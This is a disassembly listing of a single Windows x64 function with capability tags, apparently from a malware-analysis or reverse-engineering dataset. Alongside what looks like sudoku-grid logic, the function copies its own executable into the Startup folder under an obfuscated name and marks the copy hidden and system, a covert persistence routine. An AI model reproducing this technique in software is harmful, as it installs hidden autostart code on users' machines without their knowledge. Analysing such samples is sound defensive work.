Function at 0x140004100
Capabilities:
Copy file
Get common file path
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x820]
sub rsp, 0x920
mov rax, qword [0x14002b018]
xor rax, rsp
mov qword [rbp + 0x810], rax
mov qword [rsp + 0x38], rcx
mov ecx, 0x48
mov qword [rsp + 0x48], r8
call fcn.140010fa4
mov ecx, 0x48
mov qword [rsp + 0x30], rax
mov rbx, rax
call fcn.140010fa4
mov ecx, 0x48
mov r13, rax
call fcn.140010fa4
mov r15, rbx
mov qword [rsp + 0x40], rax
sub r15, r13
mov r12, rax
sub r12, r13
mov rsi, r13
mov r14d, 9
mov ecx, 0xa
call fcn.140010fa4
mov ecx, 0xa
mov qword [r15 + rsi], rax
mov rbx, rax
call fcn.140010fa4
mov ecx, 0xa
mov qword [rsi], rax
mov rdi, rax
call fcn.140010fa4
xor ecx, ecx
mov qword [r12 + rsi], rax
mov qword [rbx], rcx
lea rsi, [rsi + 8]
mov word [rbx + 8], cx
mov qword [rdi], rcx
mov word [rdi + 8], cx
mov qword [rax], rcx
mov word [rax + 8], cx
sub r14, 1
jne 0x140004185
call fcn.140002df0
test rax, rax
je 0x14000441a
call fcn.1400030e0
mov r11, qword [rsp + 0x38]
xor esi, esi
mov r15, qword [rsp + 0x30]
xor edi, edi
mov r14, qword [rsp + 0x40]
sub r15, r11
mov r12, qword [rsp + 0x48]
mov ebx, dword [r12 + rdi*4]
xor ecx, ecx
xor r10d, r10d
test ebx, ebx
jle 0x140004262
mov rax, qword [r11]
movsx rdx, byte [r10 + rax]
cmp dl, 0x2e
je 0x140004259
mov rax, qword [r15 + r11]
mov r9, rdx
mov byte [rdx + rax - 0x30], 1
mov rax, qword [r13 + r10*8]
mov byte [rax + rdx - 0x30], 1
mov eax, 0xaaaaaaab
mul esi
mov eax, 0xaaaaaaab
shr edx, 1
lea r8d, [rdx + rdx*2]
mul ecx
shr edx, 1
lea eax, [rdx + r8]
cdqe
mov rdx, qword [r14 + rax*8]
mov byte [rdx + r9 - 0x30], 1
inc ecx
inc r10
cmp ecx, ebx
jl 0x140004210
inc esi
inc rdi
add r11, 8
cmp rdi, 9
jl 0x140004203
xor edx, edx
lea rcx, [rbp + 0x3f0]
mov r8d, 0x208
call fcn.140006350
xor edx, edx
lea rcx, [rbp + 0x1e0]
mov r8d, 0x208
call fcn.140006350
xor edx, edx
lea rcx, [rbp + 0x600]
mov r8d, 0x208
call fcn.140006350
mov r8d, 0x208
lea rdx, [rbp + 0x600]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x1400043d1
mov r9d, 1
lea rdx, [rbp + 0x3f0]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x1400043d1
mov eax, dword [0x140028270]
lea rdx, [rbp + 0x1b8]
movups xmm0, xmmword [0x140028258]
lea rcx, [rbp + 0x1a0]
mov dword [rbp + 0x1d0], eax
movsd xmm1, qword [0x140028268]
mov r8d, 0x1d
movzx eax, byte [0x140028274]
movups xmmword [rbp + 0x1b8], xmm0
mov byte [rbp + 0x1d4], al
mov dword [rbp + 0x1a0], 0x42ad28de
mov dword [rbp + 0x1a4], 0x63ef6bbe
mov dword [rbp + 0x1a8], 0x7a585af
mov dword [rbp + 0x1ac], 0x7882c5fb
mov byte [rbp + 0x1b0], 0
movsd qword [rbp + 0x1c8], xmm1
call fcn.140001cb0
lea r9, [rbp + 0x1b8]
lea r8, [rbp + 0x3f0]
lea rdx, [0x140028278]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x1400043d1
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x600]
call qword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
je 0x1400043d1
mov edx, 6
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r8, qword [rsp + 0x30]
mov r9, r13
mov rcx, qword [rsp + 0x38]
xor edx, edx
mov qword [rsp + 0x20], r14
call fcn.140003e40
mov rcx, qword [rbp + 0x810]
xor rcx, rsp
call fcn.1400049b0
lea r11, [rsp + 0x920]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002ad0
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]